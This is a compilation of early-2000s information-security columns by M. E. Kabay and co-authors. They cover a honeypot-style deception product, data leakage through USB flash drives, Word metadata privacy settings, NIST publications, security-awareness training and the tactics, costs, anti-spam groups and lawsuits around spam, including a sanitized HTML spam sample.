M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Moving Picture Show

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Recently I had the pleasure of interviewing Ilya Zeldin, President and Ivan Milovidov, CTO of NetBait Inc. < http://www.netbaitinc.com/ >, makers of an interesting system for deceiving network attackers. The following is an edited transcript of our chat. In the spirit of full disclosure, I can inform readers that I have no financial involvement whatsoever in this company and that they very kindly offered to help a Norwich University undergraduate research student, Bob Pelletier, in his continuing honeypot research before I had the idea of interviewing them.

* * *

Q: Tell me about NetBait from a technical standpoint: what's new and exciting about your product?

The prevailing approaches towards network security usually involve building barriers. In contrast, we create an infrastructure of deception that we call Disinformation Security™. NetBait empowers administrators to create a diversionary picture of the network. NetBait tries to divert attacks in two ways:

- by making any network look more busy, complex and impenetrable than it actually is or
- by making complex networks look so simple that they appear to be unappealing and uninteresting to the attacker.

From a technical standpoint, NetBait is an infrastructure using multiple technologies to project any given network device from a controlled environment to any segment of any network worldwide. By projection I mean the distortion of the characteristics and responses of a real system so that it can appear anywhere and interact with attackers to deceive them into misjudging the overall environment. In a sense, this is analogous to projection through a film, where one can show an image to one person or a million, with or without sound, on any surface, at any time and for as many times as needed. One can also edit a single or all frames of this film; the same images can be either funny or horrific depending on the desired effect. Similarly, the projections of real systems transformed by NetBait can give radically different impressions to observers or attackers as a function of the configuration used. Following this analogy, you have a frame and a projector, as well as all the knowledge, flexibility and tools to modify and project this frame. NetBait is flexible and adaptive enough for any system administrator to use his or her unique knowledge.

In addition, by offering NetBait Managed Security Service, as well as an enterprise solution, we serve the untapped market of small and mid-size companies that don't have the budget or human resources associated with this kind of deception technology. With NetBait, these companies can have the security of an enterprise-level organization without any upfront investment. We run the

entire backend infrastructure and take care of all the issues of support and upgrades.

As an example, there might be a reason to think that attackers might be diverted effectively by the presence of specific technology; e.g., Linux servers. A small firm might not have any; but with NetBait, it would be easy to check off that kind of server on the configuration and we would project those servers for the customer. We already have an extensive inventory of operating systems and services and can easily expand the list based on customer demand without having to alter the NetBait software itself.

Q: Where do you see NetBait playing the most effective role in improving security?

From an optimistic point of view, consider an organization that already has security policies in place. NetBait can help verify how the policies are working. It can help evaluate every single active device and rule of the network. NetBait can create a fake network that perfectly reflects the real network infrastructure, which can then be attacked. You can then analyze how the organization responds to the attack and whether the attack gets through. Moreover, you can model possible futures: you can try out different network configurations, test them today, see if your policies can handle various scenarios, and plan to make necessary changes or budget for new requirements.

On the other hand, in the worst-case scenario, imagine a company with no security strategy, no tools, and no security support. NetBait changes the appearance of the existing network and creates a network that raises the bar of knowledge for successful attacks. Attacker tests will generate huge amounts of data – so much that it will overwhelm anyone and extend the necessary time for successful infiltration beyond reasonable limits for ordinary intruders.

Gone in a Flash (1)

by John Bumgarner, MA, CISSP, GCIH, IAM, SSCP
& M. E. Kabay, PhD, CISSP

In the movie "The Recruit," (Touchstone Pictures, 2003) an agent for the Central Intelligence Agency (played by Bridget Moynahan) downloads sensitive information onto a tiny USB flash drive. She then smuggles the drive out in the false bottom of a travel mug. Could this security breach (technically described as "data leakage") happen in your organization?

Yep, it probably could, because most organizations do not control such devices entering the building or how they are used within the network. These drives pose a serious threat to security. With capacities currently ranging up to 2 GB (and increasing steadily), these little devices can bypass all traditional security mechanisms such as firewalls and intrusion detection systems. Unless administrators and users have configured their antivirus applications to scan every file at the time of file-opening, it's even easy to infect the network using such drives.

Disgruntled employees can move huge amounts of proprietary data to a flash drive in seconds before they are fired. Corporate spies can use these devices to steal competitive information such as entire customer lists, sets of blueprints, and development versions of new software. Attackers no longer have to lug laptops loaded with hacking tools into your buildings. USB drives can store password crackers, port scanners, key-stroke loggers, and remote-access Trojans. An attacker can even use a USB drive to boot a system into Linux or other operating system and then crack the local administrator password by bypassing the usual operating system and accessing files directly.

On the positive side, USB flash drives are a welcome addition to a security tester's tool kit. As a legitimate penetration tester, one of us (Bumgarner) carries a limited security tool set on one and still has room to upload testing data. For rigorous (and authorized) tests of perimeter security, he has even camouflaged the device to look like a car remote and has successfully gotten through several security checkpoints where the officers were looking for a computer. So far, he has never been asked what the device was by any physical security guard.

This threat is increasing in seriousness. USB Flash drives are replacing traditional floppy drives. Many computers vendors now ship desktop computers without floppy drives, but provide users with a USB flash drive. Several vendors have enabled USB flash drive support on their motherboard, which allows booting to these devices. A quick check on the Internet shows prices dropping rapidly; Kabay was recently given a free 128 MB flash drive as a registration gift at a security conference. The 2 GB drive mentioned above can be bought for $849 as this article is being written; 1GB for $239; 512 MB for $179; 256 MB for $79; and 128 MB for $39.

In the next part of this two-part series, John and I will look at preventive measures for safe use of these devices.

Gone in a Flash (2)

by John Bumgarner, MA, CISSP, GCIH, IAM, SSCP
& M. E. Kabay, PhD, CISSP

In the last column, security expert John Bumgarner and I looked at the potential for data leakage introduced through the use of small portable USB flash drives.

To counter the threats presented by USB Flash drives organizations need to act now. Organizations need to establish a policy which outlines acceptable use of these devices within their enterprises.

* Organizations should provide awareness training to their employees to point out the security risk posed by these USB Flash drives.

* The policy should require prior approval for the right to use such a device on the corporate network.

* Encrypting sensitive data on these highly portable drives should be mandatory because they are so easy to lose.

* The policy should also require that the devices contain a plaintext file with a contact name, address, phone number, e-mail address and acquisition number to aid an honest person in returning a found device to its owner. On the other hand, such identification on unencrypted drives will give a dishonest person information that increases the value of the lost information – a bit like labeling a key ring with one's name and address.

* Physical security personnel should be trained to identify these devices when conducting security inspections of inbound and outbound equipment and briefcases.

Unfortunately, the last measure is doomed to failure in the face of any concerted effort to deceive the guards because the devices can easily be secreted in purses or pockets, kept on a string around the neck, or otherwise concealed in places where security guards are unlikely to look (unless security is so high that strip-searches are allowed). That doesn't mean that the guards shouldn't be trained, just that one should be clear on the limitations of the mechanisms that ordinary organizations are likely to be able to put into place.

Administrators for high security systems may have to disable USB ports altogether. However, if such ports are necessary for normal functioning (as is increasingly true), perhaps administrators will have to put physical protection on those ports to prevent unauthorized disconnection of connected devices and unauthorized connection of flash drives.

Because without appropriate security, these days your control over stored data may be gone in a flash.

WISE Up to Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently received a demonstration copy of a new security-awareness program built on the ISO 17799 standards and designed using systematic principles of adult education. Called WISE (Web-based Information Security Education), the product is available from SoftwareByBay (SBB) < http://www.softwarebybay.com >.

The demo came on a CD; starting the program was just a double-click to launch a browser. A mellifluous voice introduced the training program's methods and buttons and then we were off into the first demo, a security awareness program. This course includes general security concepts, acceptable system use, physical security issues, and social engineering. Then there's a testing module at the end with a final exam.

I particularly liked the smooth integration of elegant diagrams with the clear explanations of the principles presented. Multiple-choice review questions were placed in the stream of frames in a way that did not disrupt the flow of thought. The interface was easy to use; the menu of topics provided immediate access to all parts of the course with an intuitively easy hierarchy of pop-up menus. All the spoken material was available in printed form in a frame on one side of the screen. Impatient users could force a faster pace by using the fast-forward feature to push the text on screen as fast as they want.

The WISE program includes the following courses:
* information security awareness
* security management
* security technology
* HIPAA training
* professional security officer training
* law enforcement officer training.

The courses take from two to 20 hours each. Annual updates are available. Pricing starts at $99 per seat per course with site licenses available.

The product specification sheet states, "In addition to the [W]eb-based training, this security awareness product includes optional security posters, newsletters, calendars, e-mail alerts, security tip-of-the-day, etc., all customized for your organization."

I think security managers would do well to examine this product to see if it suits their security awareness needs. Contact Joel Hudesman at +1.866.973.8324 x 5506 (US/Canada) or +1.973.257.1205 xx5506 or < mailto:jhudesman@softwarebybay.com >.

[I have no financial involvement whatsoever with this company.]

The Word on Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Microsoft Word offers many useful features, some of which are threats to confidentiality. In particular, the helpful capabilities for collaboration based on tracking changes, adding pop-up comments, and supplying descriptive information in a properties sheet can become liabilities if they are used without awareness.

Briefly, one can enable Word (and Excel, but we'll stick to Word) to track all changes in a document and to identify which user made them. Deletions, insertions, modifications – all can be highlighted, with the original version kept in the file as well. When an editor is ready to prepare a new version of the text, it's easy to select or discard individual corrections or to do so for all at once. The comments feature allows text to be highlighted and comments to be added; these pop up on screen when the cursor floats over the highlighted words. Finally, the properties sheet, common to all Microsoft Office documents, provides a Summary tab with fields for title, subject, author, manager, company, category, keywords, comments and hyperlink. There's an additional Custom tab with many additional fields.

These features are fine, but if users are unaware of their security implications, they can become covert channels for distribution of confidential information. Track changes allows one to show only the final version, suppressing (but not eliminating) all the changes, which are available at the click of a toggle. For example, sending a client a proposal prepared using track changes but not cleaned up before e-mailing the Word document could inadvertently reveal internal discussions about the advisability of particular terms in the proposal, critical comments from staff members disagreeing about issues, unprofessional language in jokes, or worse. As another example, posting a Word document on the Web with too much information in the properties sheet might reveal a bit more about internal administration than needed.

I noticed new security features in Word 2002 (sometimes called Word XP) as I was setting it up during installation a few months ago. Click on TOOLS | OPTIONS and go to the SECURITY tab. In addition to the usual password features, the new privacy options offer the following helpful choices and the corresponding HELP text:

- Remove personal information from this file on save: "Avoid unintentionally distributing hidden information, such as the document's author and the names associated with comments or tracked changes."
- Warn before printing, saving or sending a file than contains tracked changes or comments: "If a document contains tracked changes or comments, you may want to remove them before you save or distribute it. Do this to minimize your risk or accidentally sharing private information."
- Store random number to improve merge accuracy: "When you compare and merge documents, Word uses randomly generated numbers to help keep track of related documents. Although these numbers are hidden, they could potentially be used to demonstrate that two documents are related. If you choose not to store these numbers,

the results of merged documents will be less than optimal.

Now, although this isn't new, I'll repeat the well-known warning about the now-useless "Allow fast save" feature. Found on the SAVE tab of the OPTIONS sheet, this check box is described in HELP as follows: "Speeds up saving by recording only the changes in a document. When you finish working on the document, clear the Allow fast save check box so that you can save the complete document with a full save. A full save may decrease the final size of the document." Although this feature once made a difference because of slow disk drives and processors running with limited I/O buffering in RAM, on today's computers, it's pointless. In addition, checking Allow fast save disables the useful "Always create backup copy" feature, which continues to help writers by providing a last chance to recover material they may have accidentally deleted in the last save operation.

Finally, on today's systems, there's no reason not to set the "Save AutoRecover information every ___ minutes" to 1. That way if something aborts Word or Windows, at least you won't lose more than the last minute of your work. I notice that the autorecovery on Word works better in Word 2002 than in previous versions: we get a clearer picture of precisely which files were open when the program crashed.

And that's the word for today.

New NIST Security Publications

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The folks at the National Institute of Standards and Technology (NIST) Computer Security Resource Center (CSRC) very kindly send me notices of new publications, so here are some recent documents that will interest readers. I've edited and shortened the descriptions from NIST but am not bothering with quotation marks and other details. Each of the following is a "NIST Special Publication" (SP).

SP 800-61 DRAFT: _Computer Security Incident Handling Guide_. Helpful for both established and newly-formed incident-response teams. Topics include
1) organizing a computer security incident response capability,
2) establishing incident response policies and procedures,
3) structuring an incident response team, and
4) handling incidents from initial preparation through the post-incident lessons learned phase.
Finally, it discusses handling a range of incidents, such as denial of service, malicious code, unauthorized access, inappropriate usage, and multiple component incidents.
< http://csrc.nist.gov/publications/drafts/draft_sp800-61.pdf >

Other draft security publications from the NIST CSRC are available at < http://csrc.nist.gov/publications/drafts.html >.

SP 800-35: _*Guide to Information Technology Security Services*_. Helps in the selection, implementation, and management of IT security services by guiding organizations through the various phases of the IT security services life cycle from initiation to closeout. Topics include:

- type of service arrangement,
- service provider qualifications, operational requirements and capabilities, experience, and viability;
- trustworthiness of service provider employees; and
- service provider's ability to deliver adequate protection for the organization systems, applications, and information.

< http://csrc.nist.gov/publications/nistpubs/800-35/NIST-SP800-35.pdf >

SP 800-36: _*Guide to Selecting Information Security Products*_. Defines broad security product categories, specifies product types within those categories, and then provides a list of general characteristics and questions an organization can ask when selecting a product.
< http://csrc.nist.gov/publications/nistpubs/800-36/NIST-SP800-36.pdf >

SP 800-42: _*Guideline on Network Security Testing*_. Identifies network testing requirements and how to prioritize testing activities with limited resources. Describes several network security testing techniques and tools. Focuses on the basic information about techniques and tools for individuals and going on to the system development life cycle.
< http://csrc.nist.gov/publications/nistpubs/800-42/NIST-SP800-42.pdf >

SP 800-50, *_Building an Information Technology Security Awareness and Training Program_*. Detailed guidance on designing, developing, implementing, and maintaining an agency security awareness and training program.
< http://csrc.nist.gov/publications/nistpubs/800-50/NIST-SP800-50.pdf >

SP 800-64, *_Security Considerations in the Information System Development Life Cycle_*. This guides seeks to help organizations select and acquire cost-effective security controls by explaining how to include information system security requirements in the SDLC.

Defending Against Deception

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Jim Allred of NetVision Inc contributed the following essay to the column and I offer it with minor edits below. [I have no financial interest whatever in NetVision.]

* * *

Social engineering is the art of lying, cheating, tricking, seducing, extorting, intimidating and even threatening employees into revealing confidential information that can be used to break into a company's systems. Tricks such as phony e-mails or phone calls to “confirm” password information, or deliberately locking out an account using bad passwords and then phoning the helpdesk in a panic to open the system before an important meeting supposedly begins are just a few examples of this well-tried penetration technique.

So what is a responsible company to do in fighting social engineering?

In one controversial method of penetration testing, consultants purposely break in to an organization’s IT systems using social engineering to demonstrate where the vulnerabilities are. Whether or not you agree with the concept of using social engineering in penetration testing, it is critical that your company implement the right kind of policies, procedures and education regarding the methods social engineers may employ.

Whereas some organizations actually conduct social-engineering penetration tests, others feel more comfortable using education without such trials.

But regardless of your stand on the issue, it's increasingly critical that everyone in an organization, from top executives down, fully understands the issues of social engineering. How do these hackers work? What are the simple do's and don'ts that employees should use to protect themselves? What kinds of suspicious calls and e-mails should an employee report?

For example, employees can be taught to report and not respond to any phone or e-mail request for any password. They should be taught to report any unknown person walking the premises without a identity badge. Helpdesk personnel can be taught to recognize the tactics incoming callers may have used to disguise their identity.

How can companies accomplish this goal? In addition to possible penetration testing or consulting, organizations are building comprehensive security policy resource centers. One of the recent examples of this concept is the NV Policy Resource Center, from my company, NetVision (managed by META Security Group). In this example, the NV Policy Resource Center is a subscriber-based Web service that provides automated training to test, track and document employees’ understanding and compliance with security policies.

For example, a company may issue a memo, a policy and even an educational program on social engineering. But in a typical scenario, the written policy document is never read and the program is damaged two weeks later when several new employees join the firm without training.

With one of the new automated resource programs, each new employee is taken through the security training as a Web-based program. At the end of the program, each employee is tested to measure their comprehension. Then they sign a formal compliance agreement. The training is administered in language the users understand, and the employer has now verified that the training was received, understood and accepted.

The organization can require compliance testing at set intervals, such as a year, or they can invoke compliance testing each time a critical new element is added to the company policy. The system can track compliance and can send out education and update materials from a database of best practices drawn from a variety of security organizations as well as from current events.

The main point of a resource center is that it's ongoing and it's automated. It can address user training and awareness at every level in an organization. It can address compliance issues such as HIPAA (Health Insurance Portability and Accountability Act of 1996) and GLBA (Gramm-Leach-Bliley Act of 1999), and it can also address human issues such as the newest tricks that might be tried by the unfortunately ever-creative society of social engineers.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Wealth of Training Films

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of my favorite sources of good security awareness training films is Commonwealth Films Inc. < http://www.commonwealthfilms.com >. I have recently collected a series of reviews about some of their VHS and DVD videos that I have written over the years and posted them in HTML and PDF on my Web site at < http://www.mekabay.com/infosecmgmt/videos/ >. The films are

- The Best Defense – good introduction to commonsense security awareness covering password protection, data integrity, virus protection, disaster prevention and response, and fighting illegal duplication of proprietary software.

- Targets of Opportunity – an exciting case study of a major lapse in security as a top-secret document gets sent by accident to three different locations around the world by fax because someone carelessly included it along with some low-security pages intended for the CEO.

- The Plugged-In Mailbox – absolutely appalling but all-too-common lapses of judgement in the use of e-mail.

- For the Record – the Department of Justice is demanding records in an anti-trust case and a company discovers it has awful records management.

- Back in Business – one of the best disaster recovery training films ever made.

- Look Out for Your Laptop – practical advice for road warriors.

- Get Net.Smart – e-mail and Web abuse at work, including a wretchedly credible story about someone who posts derogatory comments about a fellow employee in a public chat room and ends up getting sued for libel, along with her employer.

I've just received three more new DVDs from Commonwealth Films which I'll be reviewing soon and adding to my Web site:

- Ready for Anything – an updated take on business continuity and disaster recovery planning.

- Stolen Access – discussion of social engineering and common sense security, including discussion of wireless networking.

- Computer Virus Attack – coverage of the threat from malicious software, anti-virus

software, persistent Internet connections and responding to infections.

As I have written in the longer reviews you will find on my Web site, the Commonwealth Films videos are not likely to win Academy Awards, but they were never intended to do so. They are professionally produced, interesting, fast-moving, never boring, technically correct, highly informative, and definitely motivating. All of them involve subject-matter experts from industry and government to provide technical assistance.

All Commonwealth Films training videos are available for inspection before you buy them; the sample versions come with prominent NOT FOR TRAINING banners and FOR PREVIEW ONLY stickers but are otherwise fully functional for evaluation.

Commonwealth Films have allowed me to use their demo DVDs for teaching in my college and university courses; however, I have no financial interest in the company, nor have my reviews ever been written as a function of their courtesy. I just like their stuff and so have my students. In particular, I want to thank David Burke, their Customer Service Manager, for his kindness over many years. Thanks, Dave!

Bringing Security Home

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader recently asked me why I consistently suggest that particular tidbits from my security columns and other sources be included in corporate newsletters about information security. Why should the enterprise be concerned about telling employees how to protect their families against, say, Nigerian advance-fee ("4-1-9") fraud? What does that have to with corporate liability?

The benefit of including useful information about security that can help employees and their families comes from the psychological phenomenon called _internalization_. When we act in a particular way, we come to see ourselves in a new light: we integrate our behavior into a revised conception of ourselves.

This phenomenon is thought to explain the success of the notorious "foot-in-the-door" technique used by salespeople and social activists: get the customer / potential volunteer to agree to a small purchase / action and there's a better chance that they'll agree to a larger purchase / action later.

For example, when political activists are looking for places to put up a prominent sign in a new neighborhood, they don't just baldly go up to any old house and ask, "May we put up this big sign on your lawn?" No, they start small. They'll canvas the block and ask people, "Do you support < whatever the issue is >? You do? Great! Could you display this little postcard-sized sign in your window? You WILL? Oh, that's wonderful! Thank you!!"

Naturally, a week later, the little sign marks those houses which should be visited again. This time, the request can be for permission to, say, put up a sign two feet square on a wooden stick at the edge of the lawn. The week after that, some of the people with lawn signs may agree to join a demonstration or put up a really big sign or whatever the next phase of the plan is.

Why does this technique work?

According to some psychologists, agreeing to the modest request sets up a change in self perception: "Oh, I guess I must be more interested in this than I thought." Then when the next request arrives, the person seems to think something like, "Well, I suppose I really am interested in this after all – sure, go ahead." Changing behavior a little makes it more likely that you can change behavior a lot.

Some employees who act to protect their families against information security threats may come to see themselves as security people; they internalize security as part of their own interests and value system. So when you ask them to cooperate at work on a security project, they may respond better than if they've never done anything security-related. You've converted some neutral bystanders into interested participants. Considering how inexpensive it is to include a paragraph about a useful security tip in a corporate newsletter that will be published anyway, the cost of the program is tiny compared to the potential benefits.

Besides, can you really argue against protecting children and families against bad cyberstuff? No, go ahead: put those little tidbits about save hex into your newsletters and let your employees bring security home.

Don't worry – you'll get it back.

Spa.m Get.ti.ng on Your N.E.R.V.E.S?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I've been watching with growing dismay as the number of unwanted and offensive messages has been rising in my e-mail over the last year. I'm not alone: reports over the last year have been practically unanimous in suggesting a significant growth in the problem of unsolicited commercial e-mail, or "spam." For example, in April 2003, a report in Investor's Business Daily suggested that the total percentage of spam in worldwide e-mail had reached 35% in 2001. In contrast, a September report by Antone Gonsalves about a Gartner Group study suggested that spam would reach 60% of all e-mail by around mid-2004.

Spammers have always been sneaky about their sleazy unwanted e-mail, with tricky subject lines and forged headers a commonplace for years. However, my own observations, confirmed by industry reports, show even further depths of depravity among these horrible people.

One increasingly frequent dodge is to put random punctuation in the subject lines. I have to be careful in giving examples here, because I don't want our readers' antispam filters stopping this message, so I'll leave exact details to your imagination. Suffice it to say that body-enhancing drugs (none of which should be taken without medical supervision anyway and some of which make claims that are patently impossible – or at least, one hopes so – about specific bits) now have subject lines something like "$PE.ND YOUR MON.E!Y ON USEL.ESS STUFF TO GET BIGG.ER." As a result, my own antispam filter is failing to pick up some of these messages and I have to add additional details to my second-line filters. However, since the number of positions where one can put a variety of punctuation marks and other symbols is far larger than my patience, manual intervention is doomed. The antispam companies are just going to have to strip punctuation out of the text when scanning for recognizable spam strings.

More on the spam problem in the next column.

Picture This: HTML Spam

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The nasty people who flood our e-mail with unwanted advertising have been using increasingly deceptive means to elude spam-filtering software, most of which runs on the same principle as signature-based antivirus software or misuse-detection intrusion detection systems. The defensive products rely on intelligence from the field to identify known patterns of subject lines and content to screen spam from their users.

A simple technique that spammers have used recently is to find synonyms for the keywords that are blocking their junk; thus they may use the chemical or generic name of various drugs instead of the brand name. To avoid blockage of this message by readers' antispam tools, I won't give specific examples here. The names are also spelled wrong in a wide range of ways – not by mistake, one can be sure. Antispam products may have to extend their search strings to include likely misspellings of key words.

Some spammers are shifting to almost exclusively HTML e-mail with embedded images that represent their text. Thus instead of being able to scan for the keywords that characterize so much of this repetitive garbage, the antispam tools are faced with bland HTML for a couple of links and an unscannable bit-image that contains no machine-readable text.

Here, for example, is the source of an unwanted advertisement for a drug (by the way, you'd surely have to be mad to trust a drug from an organization that sends spam):

```
<html>
<body>
<center>
<!--yk4a733d3eykjv-->
<a href="http://www.ABCDE.com/host/default.asp?ID=omni">
<!--srYOQNvJ5H0n-->
<img src="http://FGHIJ.com/pics/gv1.gif" height="270" width="405">
</a>
</center>
</font>
</html>
</body>
```

Note that I took out the actual domain names in case your antispam filters have already included them as forbidden strings.

The gif contains the actual advertisement – but how to read it? I think the only strategy that will work for now is to have constantly expanding lists of the domains where the spam originates.

* * *

Domains of Thieves

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In recent articles, I've been looking briefly at some of the nasty ways that spammers are eluding search-string-based anti-spam filters. I mentioned that because many of these messages now put their text into images to avoid the scanners, we are forced to pay more attention to the domains mentioned in the body and in the e-mail headers.

The headers are problematic: the criminals who send spam think nothing of forging their headers to evade filters and to escape retribution (legal and illegal). Nonetheless, I have noticed a few major spam houses who have been using yet another trick in their attempts to infiltrate our in-boxes: they use domain names with constantly-changing server names. Thus, for example, I noticed that a particularly bad spam house (let's call it, say, "badspammers.com") is now sending out its useless ads for useless products using addresses ending in "@a.badspammers.com," "@b.badspammers.com," "@c.badspammers.com" and so on. Unfortunately, the anti-spam tool I'm currently using (maybe not for long) seems to be having trouble parsing these domain names; even though the rejection list includes "@badspammers.com," it regularly allows the e-mail from a new variant to get through. Clearly, anti-spammer software has to be able to cope with this elementary technique when looking at the headers.

More important, though, is that any spam where the nasties expect to receive a response is going to have to have some reliable address in it – whether a real e-mail address (rare) or a Web URL. I think that these real contact points are a true vulnerability for the Bad Guys: by compiling shared lists of the contact addresses used by the people advertising via spam, it should be possible to spread the signature files widely to users and perhaps to all anti-spam providers.

The situation reminds me of the early days of the antivirus industry; when I was the first Secretary of the Anti-Virus Product Developers' Consortium (AVPD) sponsored by the then-NCSA (later ICSA Labs and TruSecure) in the early 1990s, the idea of sharing virus signature strings among competing antivirus vendors struck some observers as ludicrous. However, I remember Bob Bales and Paul Gates arguing with the vendors that it was no stranger than having medical or biochemical information about diseases and toxic materials shared among competing pharmaceutical companies: the companies could compete on how well they fought the problems rather than concealing information about the problems. The industry agreed, and now antivirus companies routinely work with the AVPD and other organizations to share knowledge about new malicious software.

So I think that antispam software developers ought to be sharing knowledge of the spam recognition strings too. After all [I can hear the complaints already] domain thing is to fight the spam.

Organizing the Resistance:
Fighting Spam Together

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

There are many organizations dedicated to fighting spam. One of the best known is CAUCE (The Coalition Against Unsolicited Commercial Email). This volunteer organization has been lobbying actively since 1997 for extension of the laws covering junk fax (never as big a problem as junk e-mail, but still a problem in the 1980s) to junk e-mail. There are international affiliates of CAUCE for those outside the USA who want to join the fight. Topics on the Web site include

- Latest News
- About the Problem
- Pending Legislation
- How YOU Can Help
- FAQ
- CAUCE In The News!
- Info for Congress
- Info For Media
- Who is CAUCE?
- Other Resources
- Spam Incidents
- True Tales of Spam.

Another useful site is JunkBusters, which has useful links about the problem and about legislative efforts to fight junk.

A particularly controversial organization is the MAPS (Mail Abuse Prevention System LLC) RBL (Realtime Blackhole List) which is dedicated to providing ISPs (mostly) with the information needed to block e-mail from organizations that send spam. In particular, the RBL is used to help ISPs identify open spam relays – SMTP servers that do not require identification and authentication to send e-mail through them from outside their home network. Such unprotected servers are ripe pickings for the criminal spammers who cheerfully send out millions of messages through other people's equipment without permission. Not everyone likes the RBL, though, since being put on the list means that many ISPs will block all e-mail coming from a compromised system (see the NetSide rant listed in the references). Topics on the home page of the RBL include

- End User information on the RBLSM.
- Our rationale for the MAPS RBLSM.
- Reporting spammers to the MAPS RBLSM team.
- How to get into the MAPS RBLSM.
- How to get out of the MAPS RBLSM.
- How to use the MAPS RBLSM to protect your network.
- Some of the sites that use the MAPS RBLSM.
- Products that incorporate MAPS RBLSM features.
- Look up an entry on the MAPS RBLSM.

Trace the route from the RBLSM server to someplace else.
Why doesn't MAPSSM reply to my e-mail?

Not an OPTion

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The Direct Marketing Association has been fighting for the right of its members to spam us for a long time. Their Web site has an illuminating article entitled, "Tacking the Spam Issue: The DMA's answers to one of the nation's toughest questions." The document points out that spam is tarnishing all direct marketers and piously announces that, ". . . we're all losing - consumers, businesses, and, yes, even e-mail marketers."

The DMA proposes what it calls "four pillars of responsible e-mail" which I quote verbatim:

* honest subject lines;
* accurate header information that has not been forged;
* a physical street address for consumer redress; and
* an opt-out mechanism that truly works and is honored.

They also propose to

* forbid automated, surreptitious harvesting of e-mail addresses;
* define a universal opt-out technique to be incorporated into all junk e-mail;
* a bond (at least $500 per entity) for organizations agreeing to abide by the DMA principles in case they violate the standards;
* support US federal laws that would preempt state laws on spam;
* subsidize investigation and prosecution of spammers.

The DMA raises my hackles because it specifically argues for an opt-out approach to spam. All of us are supposed to be happy to receive one junk e-mail message from any of the companies in the USA (since it deals exclusively with US spammers) and just decline to receive more.

There are millions of firms in the USA. Receiving one message from each of them occasionally could fill anyone's e-mail in-basket quickly. And why does the DMA nowhere suggest a DO NOT E-MAIL list equivalent to the DO NOT CALL list? Having to opt out of thousands of individual lists strikes me a ridiculous solution to the problem.

The DMA also fails to recognize that offshore spam is growing. Spammers know that other countries are years or even decades behind Europe and the US in regulating the use of Internet resources; annoy them here and they can simply move away or contract with overseas organizations to continuing sending their spam without concern.

I think the fundamental problem is economic. The entire issue boils down to abuse of the commons: greedy people sending out their garbage at virtually no cost to themselves. We may someday see enraged Internet users insisting on a micropayment per e-mail message – say, $.001 per message – that would lead to trivial costs for consumers and normal users of the Internet but cost spammers a great deal of money. Fail to pay your bill and you _can_ be sued successfully for fraud. ISPs could collect these fees and put them in a general fund for legal proceedings

against abusers.

Now _that's_ the kind of option I'd like to see for spammers.

* * *

Victims Paying for Spam

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In my last rant about spam, I mentioned that the fundamental problem causing spam is that unscrupulous people have virtually no costs for sending unwanted e-mail. As Jeffrey Benner put it in his review of antispam laws, spammers are different from telemarketers because making phone calls costs money whereas sending junk e-mail doesn't: "Telemarketing costs money, spamming doesn't. The high cost of making phone calls means marketers would rather spend their resources calling people who might actually be interested in what they're selling. That's why, aside from fear of prosecution, most telemarketers comply with do-not-call lists." In contrast, says Benner, all attempts to develop opt-out do-not-spam lists have failed [1].

In contrast, every recipient of the growing flood of spam pays for that problem in one way or another. Everyone loses time, wasted bandwidth and disk space. Granted, a home user may not place a monetary value on these wasted resources or the time spent getting rid of the junk, but business organizations certainly do. The time wasted by employees paid hourly wages costs money in lost productivity or in overtime; the time wasted by non-salaried (overtime-exempt) employees cuts into efficiency and may marginally reduce job satisfaction. Individually, the problem may not seem like much; collectively, for a corporation and even for the nation, spam is a significant problem. In a recent report by Nucleus Research, spam was estimated to cost US companies over $800 per employee per year in lost productivity [2]. Ferris Research estimated that the total losses incurred by US corporations in 2002 as they coped with spam reached almost $9B [3]. They pointed out that corporate losses included time wasted calling technical support to fight spam.

Some projections from the trends are alarming (others might say alarmist): if the growth in spam continues, "According to Jupiter Research, . . . the average e-mail user should expect to receive nearly 3,900 junk e-mail messages per day in 2007. [4]"

Public rage against spam is rising. According to a November 2002 poll by Harris Interactive, an overwhelming majority (80% of a sample of 2,221 adults) of the US Internet-using public found spam "very annoying" and 74% of the sample wanted spamming made illegal [5].

In my next column, I'll look at some of the (largely futile) efforts to legislate against spam.

Suing Spammers for Fraud

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In my previous column on spam, I presented arguments suggesting that spammers cost their victims money but pay little or nothing for sending vast quantities of junk e-mail. In this article, I look at some of the ways that victims have used civil law to attack spammers for their fraudulent practices and misuse of private corporate resources.

A good summary of early cases is the netlitigation site run by Sugarman Rogers Barshak & Cohen [1]. Many of the cases are against the notorious Sanford "Spamford" Wallace and his Cyberpromotions company. Wallace was involved in sending junk faxes long before he started annoying millions of people with junk e-mail [2] and must take the record for the most imaginative (or deluded) use of legal arguments to defend spam in the history of civil law. As summarized in [1], his attorneys argued unsuccessfully that (a) spamming was supported by First Amendment guarantees of the US Constitution [3]; (b) CompuServe should not be able to limit spam because it might someday be classified as a public service [4]. CyberPromotions was finally put out of business when Earthlink sued Wallace and his company in 1998 [5].

